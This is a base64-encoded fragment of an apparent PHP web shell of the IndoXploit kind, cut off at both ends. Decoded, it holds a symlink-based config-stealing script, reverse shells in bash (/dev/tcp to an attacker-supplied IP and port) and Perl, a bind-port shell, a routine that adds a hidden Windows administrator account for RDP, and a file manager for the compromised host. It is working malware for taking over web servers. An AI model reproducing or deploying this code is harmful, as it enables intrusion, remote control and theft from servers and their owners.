ZEhScFkydGxkQzV3YUhBbkxDQjBlWEJsSUQwK0lDZFhTRTFEVXljZ2ZTd05DZ2w3WTI5dVptbG5aR2x5SUQwK0lDY3ZhRzl0WlM4bkxpUjFjMlZ5Ym5saExpY3ZjSFZpYkdsalgyaDBiV3d2WTJ4cFpXNTBjeTl6ZFdKdGFYUjBhV05yWlhRdWNHaHdKeXdnZEhsd1pTQTlQaUFuVjBoTlExTW5JSDBzRFFvSmUyTnZibVpwWjJScGNpQTlQaUFuTDJodmJXVXZKeTRrZFhObGNtNTVZUzRuTDNCMVlteHBZMTlvZEcxc0wwSkpURXhKVGtkVEwzTjFZbTFwZEhScFkydGxkQzV3YUhBbkxDQjBlWEJsSUQwK0lDZFhTRTFEVXljZ2ZTd05DZ2w3WTI5dVptbG5aR2x5SUQwK0lDY3ZhRzl0WlM4bkxpUjFjMlZ5Ym5saExpY3ZjSFZpYkdsalgyaDBiV3d2UW1sc2JHbHVaM012YzNWaWJXbDBkR2xqYTJWMExuQm9jQ2NzSUhSNWNHVWdQVDRnSjFkSVRVTlRKeUI5TEEwS0NYdGpiMjVtYVdka2FYSWdQVDRnSnk5b2IyMWxMeWN1SkhWelpYSnVlV0V1Snk5d2RXSnNhV05mYUhSdGJDOWlhV3hzYVc1bmN5OXpkV0p0YVhSMGFXTnJaWFF1Y0dod0p5d2dkSGx3WlNBOVBpQW5WMGhOUTFNbklIMHNEUW9KZTJOdmJtWnBaMlJwY2lBOVBpQW5MMmh2YldVdkp5NGtkWE5sY201NVlTNG5MM0IxWW14cFkxOW9kRzFzTDAxWkwzTjFZbTFwZEhScFkydGxkQzV3YUhBbkxDQjBlWEJsSUQwK0lDZFhTRTFEVXljZ2ZTd05DZ2w3WTI5dVptbG5aR2x5SUQwK0lDY3ZhRzl0WlM4bkxpUjFjMlZ5Ym5saExpY3ZjSFZpYkdsalgyaDBiV3d2VFhrdmMzVmliV2wwZEdsamEyVjBMbkJvY0Njc0lIUjVjR1VnUFQ0Z0oxZElUVU5USnlCOUxBMEtDWHRqYjI1bWFXZGthWElnUFQ0Z0p5OW9iMjFsTHljdUpIVnpaWEp1ZVdFdUp5OXdkV0pzYVdOZmFIUnRiQzl0ZVM5emRXSnRhWFIwYVdOclpYUXVjR2h3Snl3Z2RIbHdaU0E5UGlBblYwaE5RMU1uSUgwc0RRb0plMk52Ym1acFoyUnBjaUE5UGlBbkwyaHZiV1V2Snk0a2RYTmxjbTU1WVM0bkwzQjFZbXhwWTE5b2RHMXNMM05sWTNWeVpTOTNhRzB2YzNWaWJXbDBkR2xqYTJWMExuQm9jQ2NzSUhSNWNHVWdQVDRnSjFkSVRVTlRKeUI5TEEwS0NYdGpiMjVtYVdka2FYSWdQVDRnSnk5b2IyMWxMeWN1SkhWelpYSnVlV0V1Snk5d2RXSnNhV05mYUhSdGJDOXpaV04xY21VdmQyaHRZM012YzNWaWJXbDBkR2xqYTJWMExuQm9jQ2NzSUhSNWNHVWdQVDRnSjFkSVRVTlRKeUI5TEEwS0NYdGpiMjVtYVdka2FYSWdQVDRnSnk5b2IyMWxMeWN1SkhWelpYSnVlV0V1Snk5d2RXSnNhV05mYUhSdGJDOXdZVzVsYkM5emRXSnRhWFIwYVdOclpYUXVjR2h3Snl3Z2RIbHdaU0E5UGlBblYwaE5RMU1uSUgwc0RRb0plMk52Ym1acFoyUnBjaUE5UGlBbkwyaHZiV1V2Snk0a2RYTmxjbTU1WVM0bkwzQjFZbXhwWTE5b2RHMXNMMk5zYVdWdWRHVnpMM04xWW0xcGRIUnBZMnRsZEM1d2FIQW5MQ0IwZVhCbElEMCtJQ2RYU0UxRFV5Y2dmU3dOQ2dsN1kyOXVabWxuWkdseUlEMCtJQ2N2YUc5dFpTOG5MaVIxYzJWeWJubGhMaWN2Y0hWaWJHbGpYMmgwYld3dlkyeHBaVzUwWlM5emRXSnRhWFIwYVdOclpYUXVjR2h3Snl3Z2RIbHdaU0E5UGlBblYwaE5RMU1uSUgwc0RRb0plMk52Ym1acFoyUnBjaUE5UGlBbkwyaHZiV1V2Snk0a2RYTmxjbTU1WVM0bkwzQjFZbXhwWTE5b2RHMXNMM04xY0hCdmNuUXZiM0prWlhJdmMzVmliV2wwZEdsamEyVjBMbkJvY0Njc0lIUjVjR1VnUFQ0Z0oxZElUVU5USnlCOURRb3BPdzBLWm05eVpXRmphQ0FvUUdGeWNtRjVLWHNOQ2dsdGVTQWtZMjl1Wm1sbmJubGhJRDBnSkY4dFBudGpiMjVtYVdka2FYSjlPdzBLQ1cxNUlDUjBlWEJsWTI5dVptbG5JRDBnSkY4dFBudDBlWEJsZlRzTkNnbHplVzFzYVc1cktDSWtZMjl1Wm1sbmJubGhJaXdpYVdSNFgzTjViUzhrZFhObGNtNTVZUzBrZEhsd1pXTnZibVpwWnk1MGVIUWlLVHNOQ2dsdGEyUnBjaUFpYVdSNFgzTjViUzhrZFhObGNtNTVZUzBrZEhsd1pXTnZibVpwWnk1MGVIUWlPdzBLQ1hONWJXeHBibXNvSWlSamIyNW1hV2R1ZVdFaUxDSnBaSGhmYzNsdEx5UjFjMlZ5Ym5saExTUjBlWEJsWTI5dVptbG5MblI0ZEM4d2VERTVPVGt1ZEhoMElpazdEUW9KWTI5d2VTZ2lhV1I0WDNONWJTOXVaVzExTG5SNGRDSXNJbWxrZUY5emVXMHZKSFZ6WlhKdWVXRXRKSFI1Y0dWamIyNW1hV2N1ZEhoMEx5NW9kR0ZqWTJWemN5SXBJRHNOQ2dsOURRcDlEUXB3Y21sdWRDQWlRMjl1ZEdWdWRDMTBlWEJsT2lCMFpYaDBMMmgwYld4Y2JseHVJanNOQ25CeWFXNTBJQ0k4YUdWaFpENDhkR2wwYkdVK1FubHdZWE56SURRd05DQkNlU0F3ZURFNU9UazhMM1JwZEd4bFBqd3ZhR1ZoWkQ0aU93MEtjSEpwYm5RZ0p6eHRaWFJoSUdoMGRIQXRaWEYxYVhZOUluSmxabkpsYzJnaUlHTnZiblJsYm5ROUlqVTdJSFZ5YkQxcFpIaGZjM2x0SWk4K0p6c05DbkJ5YVc1MElDYzhZbTlrZVQ0OFkyVnVkR1Z5UGp4b01UNHdlREU1T1RrZ1RtVjJaWElnUkdsbFBDOW9NVDRuT3cwS2NISnBiblFnSnp4aElHaHlaV1k5SW1sa2VGOXplVzBpUGt0c2FXc2dSR2x6YVc1cFBDOWhQaWM3RFFwMWJteHBibXNvSkRBcE93PT0iOw0KCQkJc2F2ZSgiL3RtcC9zeW1saW5rLnBsIiwgInciLCBiYXNlNjRfZGVjb2RlKCRzeW1bJ2NvZGUnXSkpOw0KCQkJZXhlKCJwZXJsIC90bXAvc3ltbGluay5wbCIpOw0KCQkJc2xlZXAoMSk7DQoJCQlAdW5saW5rKCIvdG1wL3N5bWxpbmsucGwiKTsNCgkJCUB1bmxpbmsoInBhc3N3ZC50eHQiKTsNCgkJCUB1bmxpbmsoImlkeF9zeW0vcGFzLnR4dCIpOw0KCQkJQHVubGluaygiaWR4X3N5bS9uZW11LnR4dCIpOw0KCQl9DQoJCXByaW50ICI8ZGl2IHN0eWxlPSdiYWNrZ3JvdW5kOiAjZmZmZmZmOyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAxMDAlJz4iOw0KCQlwcmludCAiPGlmcmFtZSBzcmM9J2h0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iLyIuJEdMT0JBTFNbJ0ZJTEVQQVRIJ10uIi9pZHhfc3ltLycgZnJhbWVib3JkZXI9JzAnIHNjcm9sbGluZz0neWVzJz48L2lmcmFtZT4iOw0KCQlwcmludCAiPC9kaXY+IjsNCgl9DQoJZWxzZWlmKCR0b29sc25hbWUgPT09ICJuZXR3b3JrIikgew0KCQkkYXJncyA9IGV4cGxvZGUoIiAiLCAkYXJncyk7DQoJCWlmKCRhcmdzWzBdID09PSAiYmMiKSB7DQoJCQlpZihlbXB0eSgkYXJnc1sxXSkpIGRpZShjb2xvcigxLCAxLCAiU2V0IFlvdXIgSVAgZm9yIEJhY2tDb25uZWN0ISIpKTsNCgkJCWlmKGVtcHR5KCRhcmdzWzJdKSkgZGllKGNvbG9yKDEsIDEsICJTZXQgWW91ciBQT1JUIGZvciBCYWNrQ29ubmVjdCEiKSk7DQoJCQlpZihlbXB0eSgkYXJnc1szXSkpIGRpZShjb2xvcigxLCAxLCAiTWlzc2luZyB0eXBlIG9mIHJldmVyc2Ugc2hlbGw6ICdiYXNoJywgJ3BlcmwnLiIpKTsNCgkJCWlmKCRhcmdzWzNdID09PSAiYmFzaCIpIHsNCgkJCQlleGUoIi9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8iLiRhcmdzWzFdLiIvIi4kYXJnc1syXS4iIDA+JjEiKTsNCgkJCX0NCgkJCWVsc2VpZigkYXJnc1szXSA9PT0gInBlcmwiKSB7DQoJCQkJJGJjWydjb2RlJ10gPSAiSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOw0KCQkJCXNhdmUoIi90bXAvYmMucGwiLCAidyIsIGJhc2U2NF9kZWNvZGUoJGJjWydjb2RlJ10pKTsNCgkJCQkkYmNbJ2V4ZWMnXSA9IGV4ZSgicGVybCAvdG1wL2JjLnBsICIuJGFyZ3NbMV0uIiAiLiRhcmdzWzJdLiIgMT4vZGV2L251bGwgMj4mMSAmIik7DQoJCQkJc2xlZXAoMSk7DQoJCQkJcHJpbnQgIjxwcmU+Ii4kYmNbJ2V4ZWMnXS4iXG4iLmV4ZSgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOw0KCQkJCUB1bmxpbmsoIi90bXAvYmMucGwiKTsNCgkJCX0NCgkJfQ0KCQllbHNlaWYoJGFyZ3NbMF0gPT09ICJicCIpIHsNCgkJCWlmKGVtcHR5KCRhcmdzWzFdKSkgZGllKGNvbG9yKDEsIDEsICJTZXQgWW91ciBQT1JUIGZvciBCaW5kIFBvcnQhIikpOw0KCQkJaWYoZW1wdHkoJGFyZ3NbMl0pKSBkaWUoY29sb3IoMSwgMSwgIk1pc3NpbmcgdHlwZSBvZiByZXZlcnNlIHNoZWxsOiAnYmFzaCcsICdwZXJsJy4iKSk7DQoJCQlpZigkYXJnc1syXSA9PT0gInBlcmwiKSB7DQoJCQkJJGJwWydjb2RlJ10gPSAiSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dmMyZ2dMV2tpT3cwS2FXWWdLRUJCVWtkV0lEd2dNU2tnZXlCbGVHbDBLREVwT3lCOURRcDFjMlVnVTI5amEyVjBPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVMVJTUlVGTkxHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LU2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlZUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFRlNSMVpiTUYwc1NVNUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQWlRMkZ1ZENCdmNHVnVJSEJ2Y25SY2JpSTdEUXBzYVhOMFpXNG9VeXd6S1NCOGZDQmthV1VnSWtOaGJuUWdiR2x6ZEdWdUlIQnZjblJjYmlJN0RRcDNhR2xzWlNneEtTQjdEUW9KWVdOalpYQjBLRU5QVGs0c1V5azdEUW9KYVdZb0lTZ2tjR2xrUFdadmNtc3BLU0I3RFFvSkNXUnBaU0FpUTJGdWJtOTBJR1p2Y21zaUlHbG1JQ2doWkdWbWFXNWxaQ0FrY0dsa0tUc05DZ2tKYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNna0piM0JsYmlCVFZFUlBWVlFzSWo0bVEwOU9UaUk3RFFvSkNXOXdaVzRnVTFSRVJWSlNMQ0krSmtOUFRrNGlPdzBLQ1FsbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNna0pZMnh2YzJVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsNCgkJCQlzYXZlKCIvdG1wL2JwLnBsIiwgInciLCBiYXNlNjRfZGVjb2RlKCRicFsnY29kZSddKSk7DQoJCQkJJGJwWydleGVjJ10gPSBleGUoInBlcmwgL3RtcC9icC5wbCAiLiRhcmdzWzFdLiIgMT4vZGV2L251bGwgMj4mMSAmIik7DQoJCQkJc2xlZXAoMSk7DQoJCQkJcHJpbnQgIjxwcmU+Ii4kYnBbJ2V4ZWMnXS4iXG4iLmV4ZSgicHMgYXV4IHwgZ3JlcCBicC5wbCIpLiI8L3ByZT4iOw0KCQkJCUB1bmxpbmsoIi90bXAvYnAucGwiKTsNCgkJCX0NCgkJfQ0KCQllbHNlIHsNCgkJCXByaW50IGNvbG9yKDEsIDEsICJVbmtub3duICciLiRhcmdzWzBdLiInIik7DQoJCX0NCgl9DQoJZWxzZWlmKCR0b29sc25hbWUgPT09ICJrcmRwIikgew0KCQkkYXJncyA9IGV4cGxvZGUoIiAiLCAkYXJncyk7DQoJCWlmKE9TKCkgIT09ICJXaW5kb3dzIikgZGllKGNvbG9yKDEsIDEsICJKdXN0IEZvciBXaW5kb3dzIFNlcnZlciIpKTsNCgkJaWYocHJlZ19tYXRjaCgiL2luZG94cGxvaXQvIiwgZXhlKCJuZXQgdXNlciIpKSkgZGllKGNvbG9yKDEsIDEsICJbSU5GT10gdXNlcm5hbWUgJ2luZG94cGxvaXQnIGFscmVhZHkgZXhpc3RzLiIpKTsNCgkJJGFkZF91c2VyICAgPSBleGUoIm5ldCB1c2VyIGluZG94cGxvaXQgaW5kb3hwbG9pdCAvYWRkIik7DQogICAgCSRhZGRfZ3JvdXBzMSA9IGV4ZSgibmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgaW5kb3hwbG9pdCAvYWRkIik7DQogICAgCSRhZGRfZ3JvdXBzMiA9IGV4ZSgibmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvciBpbmRveHBsb2l0IC9hZGQiKTsNCiAgICAJJGFkZF9ncm91cHMzID0gZXhlKCJuZXQgbG9jYWxncm91cCBBZG1pbmlzdHJhdGV1ciBpbmRveHBsb2l0IC9hZGQiKTsNCiAgICAJcHJpbnQgIlsgUkRQIEFDQ09VTlQgSU5GTyBdPGJyPg0KICAgIAktLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+DQogICAgCUlQOiAiLmNvbG9yKDEsIDIsICRHTE9CQUxTWydTRVJWRVJJUCddKS4iPGJyPg0KICAgIAlVc2VybmFtZTogIi5jb2xvcigxLCAyLCAiaW5kb3hwbG9pdCIpLiI8YnI+DQogICAgCVBhc3N3b3JkOiAiLmNvbG9yKDEsIDIsICJpbmRveHBsb2l0IikuIjxicj4NCiAgICAJLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPjxicj4NCiAgICAJWyBTVEFUVVMgXTxicj4NCiAgICAJLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPg0KICAgIAkiOw0KICAgIAlpZigkYWRkX3VzZXIpIHsNCiAgICAJCXByaW50ICJbYWRkIHVzZXJdIC0+ICIuY29sb3IoMSwgMiwgIlNVQ0NFU1MiKS4iPGJyPiI7DQogICAgCX0gDQogICAgCWVsc2Ugew0KICAgIAkJcHJpbnQgIlthZGQgdXNlcl0gLT4gIi5jb2xvcigxLCAxLCAiRkFJTEVEIikuIjxicj4iOw0KICAgIAl9DQogICAgCQ0KICAgIAlpZigkYWRkX2dyb3VwczEpIHsNCiAgICAgICAgCXByaW50ICJbYWRkIGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnNdIC0+ICIuY29sb3IoMSwgMiwgIlNVQ0NFU1MiKS4iPGJyPiI7DQogICAgCX0gDQogICAgCWVsc2VpZigkYWRkX2dyb3VwczIpIHsNCiAgICAgICAgICAgIHByaW50ICJbYWRkIGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcl0gLT4gIi5jb2xvcigxLCAyLCAiU1VDQ0VTUyIpLiI8YnI+IjsNCiAgICAJfSANCiAgICAJZWxzZWlmKCRhZGRfZ3JvdXBzMykgeyANCiAgICAgICAgICAgIHByaW50ICJbYWRkIGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRldXJdIC0+ICIuY29sb3IoMSwgMiwgIlNVQ0NFU1MiKS4iPGJyPiI7DQogICAgCX0gDQogICAgCWVsc2Ugew0KICAgIAkJcHJpbnQgIlthZGQgbG9jYWxncm91cF0gLT4gIi5jb2xvcigxLCAxLCAiRkFJTEVEIikuIjxicj4iOw0KICAgIAl9DQogICAgCXByaW50ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+IjsNCgl9DQp9DQpmdW5jdGlvbiBmaWxlc19hbmRfZm9sZGVyKCkgew0KCWlmKCFpc19kaXIocGF0aCgpKSkgZGllKGNvbG9yKDEsIDEsICJEaXJlY3RvcnkgJyIucGF0aCgpLiInIGlzIG5vdCBleGlzdHMuIikpOw0KCWlmKCFpc19yZWFkYWJsZShwYXRoKCkpKSBkaWUoY29sb3IoMSwgMSwgIkRpcmVjdG9yeSAnIi5wYXRoKCkuIicgbm90IHJlYWRhYmxlLiIpKTsNCglwcmludCAnPHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KCQkgICA8dHI+DQoJCSAgIDx0aCBjbGFzcz0idGhfaG9tZSI+PGNlbnRlcj5OYW1lPC9jZW50ZXI+PC90aD4NCgkJICAgPHRoIGNsYXNzPSJ0aF9ob21lIj48Y2VudGVyPlR5cGU8L2NlbnRlcj48L3RoPg0KCQkgICA8dGggY2xhc3M9InRoX2hvbWUiPjxjZW50ZXI+U2l6ZTwvY2VudGVyPjwvdGg+DQoJCSAgIDx0aCBjbGFzcz0idGhfaG9tZSI+PGNlbnRlcj5MYXN0IE1vZGlmaWVkPC9jZW50ZXI+PC90aD4NCgkJICAgPHRoIGNsYXNzPSJ0aF9ob21lIj48Y2VudGVyPk93bmVyL0dyb3VwPC9jZW50ZXI+PC90aD4NCgkJICAgPHRoIGNsYXNzPSJ0aF9ob21lIj48Y2VudGVyPlBlcm1pc3Npb248L2NlbnRlcj48L3RoPg0KCQkgICA8dGggY2xhc3M9InRoX2hvbWUiPjxjZW50ZXI+QWN0aW9uPC9jZW50ZXI+PC90aD4NCgkJICAgPC90cj4nOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnb3BlbmRpcicpKSB7DQoJCWlmKCRvcGVuZGlyID0gb3BlbmRpcihwYXRoKCkpKSB7DQoJCQl3aGlsZSgoJHJlYWRkaXIgPSByZWFkZGlyKCRvcGVuZGlyKSkgIT09IGZhbHNlKSB7DQoJCQkJJGRpcltdID0gJHJlYWRkaXI7DQoJCQl9DQoJCQljbG9zZWRpcigkb3BlbmRpcik7DQoJCX0NCgkJc29ydCgkZGlyKTsNCgl9IGVsc2Ugew0KCQkkZGlyID0gc2NhbmRpcihwYXRoKCkpOw0KCX0NCglmb3JlYWNoKCRkaXIgYXMgJGZvbGRlcikgew0KCQkkZGlyaW5mb1sncGF0aCddID0gcGF0aCgpLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGZvbGRlcjsNCgkJaWYoIWlzX2RpcigkZGlyaW5mb1sncGF0aCddKSkgY29udGludWU7DQoJCSRkaXJpbmZvWyd0eXBlJ10gID0gZmlsZXR5cGUoJGRpcmluZm9bJ3BhdGgnXSk7DQoJCSRkaXJpbmZvWyd0aW1lJ10gID0gZGF0ZSgiRiBkIFkgZzppOnMiLCBmaWxlbXRpbWUoJGRpcmluZm9bJ3BhdGgnXSkpOw0KCQkkZGlyaW5mb1snc2l6ZSddICA9ICItIjsNCgkJJGRpcmluZm9bJ3Blcm1zJ10gPSB3cml0ZWFibGUoJGRpcmluZm9bJ3BhdGgnXSwgcGVybXMoJGRpcmluZm9bJ3BhdGgnXSkpOw0KCQkkZGlyaW5mb1snbGluayddICA9ICgkZm9sZGVyID09PSAiLi4iID8gIjxhIGhyZWY9Jz9kaXI9Ii5kaXJuYW1lKHBhdGgoKSkuIic+JGZvbGRlcjwvYT4iIDogKCRmb2xkZXIgPT09ICIuIiA/ICAiPGEgaHJlZj0nP2Rpcj0iLnBhdGgoKS4iJz4kZm9sZGVyPC9hPiIgOiAiPGEgaHJlZj0nP2Rpcj0iLiRkaXJpbmZvWydwYXRoJ10uIic+JGZvbGRlcjwvYT4iKSk7DQoJCSRkaXJpbmZvWydhY3Rpb24nXT0gKCRmb2xkZXIgPT09ICcuJyB8fCAkZm9sZGVyID09PSAnLi4nKSA/ICI8YSBocmVmPSc/YWN0PW5ld2ZpbGUmZGlyPSIucGF0aCgpLiInPm5ld2ZpbGU8L2E+IHwgPGEgaHJlZj0nP2FjdD1uZXdmb2xkZXImZGlyPSIucGF0aCgpLiInPm5ld2ZvbGRlcjwvYT4iIDogIjxhIGhyZWY9Jz9hY3Q9cmVuYW1lX2ZvbGRlciZkaXI9Ii4kZGlyaW5mb1sncGF0aCddLiInPnJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YWN0PWRlbGV0ZV9mb2xkZXImZGlyPSIuJGRpcmluZm9bJ3BhdGgnXS4iJz5kZWxldGU8L2E+IjsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7DQoJCQkkZGlyaW5mb1snb3duZXInXSA9IChvYmplY3QpIEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGRpcmluZm9bJ3BhdGgnXSkpOw0KCQkJJGRpcmluZm9bJ293bmVyJ10gPSAkZGlyaW5mb1snb3duZXInXS0+bmFtZTsNCgkJfSBlbHNlIHsNCgkJCSRkaXJpbmZvWydvd25lciddID0gZmlsZW93bmVyKCRkaXJpbmZvWydwYXRoJ10pOw0KCQl9DQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgew0KCQkJJGRpcmluZm9bJ2dyb3VwJ10gPSAob2JqZWN0KSBAcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkaXJpbmZvWydwYXRoJ10pKTsNCgkJCSRkaXJpbmZvWydncm91cCddID0gJGRpcmluZm9bJ2dyb3VwJ10tPm5hbWU7DQoJCX0gZWxzZSB7DQoJCQkkZGlyaW5mb1snZ3JvdXAnXSA9IGZpbGVncm91cCgkZGlyaW5mb1sncGF0aCddKTsNCgkJfQ0KCQlwcmludCAiPHRyPiI7DQoJCXByaW50ICI8dGQgY2xhc3M9J3RkX2hvbWUnPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+Ii4kZGlyaW5mb1snbGluayddLiI8L3RkPiI7DQoJCXByaW50ICI8dGQgY2xhc3M9J3RkX2hvbWUnIHN0eWxlPSd0ZXh0LWFsaWduOiBjZW50ZXI7Jz4iLiRkaXJpbmZvWyd0eXBlJ10uIjwvdGQ+IjsNCgkJcHJpbnQgIjx0ZCBjbGFzcz0ndGRfaG9tZScgc3R5bGU9J3RleHQtYWxpZ246IGNlbnRlcjsnPiIuJGRpcmluZm9bJ3NpemUnXS4iPC90ZD4iOw0KCQlwcmludCAiPHRkIGNsYXNzPSd0ZF9ob21lJyBzdHlsZT0ndGV4dC1hbGlnbjogY2VudGVyOyc+Ii4kZGlyaW5mb1sndGltZSddLiI8L3RkPiI7DQoJCXByaW50ICI8dGQgY2xhc3M9J3RkX2hvbWUnIHN0eWxlPSd0ZXh0LWFsaWduOiBjZW50ZXI7Jz4iLiRkaXJpbmZvWydvd25lciddLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGRpcmluZm9bJ2dyb3VwJ10uIjwvdGQ+IjsNCgkJcHJpbnQgIjx0ZCBjbGFzcz0ndGRfaG9tZScgc3R5bGU9J3RleHQtYWxpZ246IGNlbnRlcjsnPiIuJGRpcmluZm9bJ3Blcm1zJ10uIjwvdGQ+IjsNCgkJcHJpbnQgIjx0ZCBjbGFzcz0ndGRfaG9tZScgc3R5bGU9J3BhZGRpbmctbGVmdDogMTVweDsnPiIuJGRpcmluZm9bJ2FjdGlvbiddLiI8L3RkPiI7DQoJCXByaW50ICI8L3RyPiI7DQoJfQ0KCWZvcmVhY2goJGRpciBhcyAkZmlsZXMpIHsNCgkJJGZpbGVpbmZvWydwYXRoJ10gPSBwYXRoKCkuRElSRUNUT1JZX1NFUEFSQVRPUi4kZmlsZXM7DQoJCWlmKCFpc19maWxlKCRmaWxlaW5mb1sncGF0aCddKSkgY29udGludWU7DQoJCSRmaWxlaW5mb1sndHlwZSddID0gZmlsZXR5cGUoJGZpbGVpbmZvWydwYXRoJ10pOw0KCQkkZmlsZWluZm9bJ3RpbWUnXSA9IGRhdGUoIkYgZCBZIGc6aTpzIiwgZmlsZW10aW1lKCRmaWxlaW5mb1sncGF0aCddKSk7DQoJCSRmaWxlaW5mb1snc2l6ZSddID0gZmlsZXNpemUoJGZpbGVpbmZvWydwYXRoJ10pLzEwMjQ7DQoJCSRmaWxlaW5mb1snc2l6ZSddID0gcm91bmQoJGZpbGVpbmZvWydzaXplJ10sMyk7DQoJCSRmaWxlaW5mb1snc2l6ZSddID0gKCRmaWxlaW5mb1snc2l6ZSddID4gMTAyNCkgPyByb3VuZCgkZmlsZWluZm9bJ3NpemUnXS8xMDI0LDIpLiAiTUIiIDogJGZpbGVpbmZvWydzaXplJ10uICJLQiI7DQoJCSRmaWxlaW5mb1sncGVybXMnXT0gd3JpdGVhYmxlKCRmaWxlaW5mb1sncGF0aCddLCBwZXJtcygkZmlsZWluZm9bJ3BhdGgnXSkpOw0KCQlpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsNCgkJCSRmaWxlaW5mb1snb3duZXInXSA9ICAob2JqZWN0KSBAcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRmaWxlaW5mb1sncGF0aCddKSk7DQoJCQkkZmlsZWluZm9bJ293bmVyJ10gPSAkZmlsZWluZm9bJ293bmVyJ10tPm5hbWU7DQoJCX0gZWxzZSB7DQoJCQkkZmlsZWluZm9bJ293bmVyJ10gPSBmaWxlb3duZXIoJGZpbGVpbmZvWydwYXRoJ10pOw0KCQl9DQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgew0KCQkJJGZpbGVpbmZvWydncm91cCddID0gKG9iamVjdCkgQHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZmlsZWluZm9bJ3BhdGgnXSkpOw0KCQkJJGZpbGVpbmZvWydncm91cCddID0gJGZpbGVpbmZvWydncm91cCddLT5uYW1lOw0KCQl9IGVsc2Ugew0KCQkJJGZpbGVpbmZvWydncm91cCddID0gZmlsZWdyb3VwKCRmaWxlaW5mb1sncGF0aCddKTsNCgkJfQ0KCQlwcmludCAiPHRyPiI7DQoJCXByaW50ICI8dGQgY2xhc3M9J3RkX2hvbWUnPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQU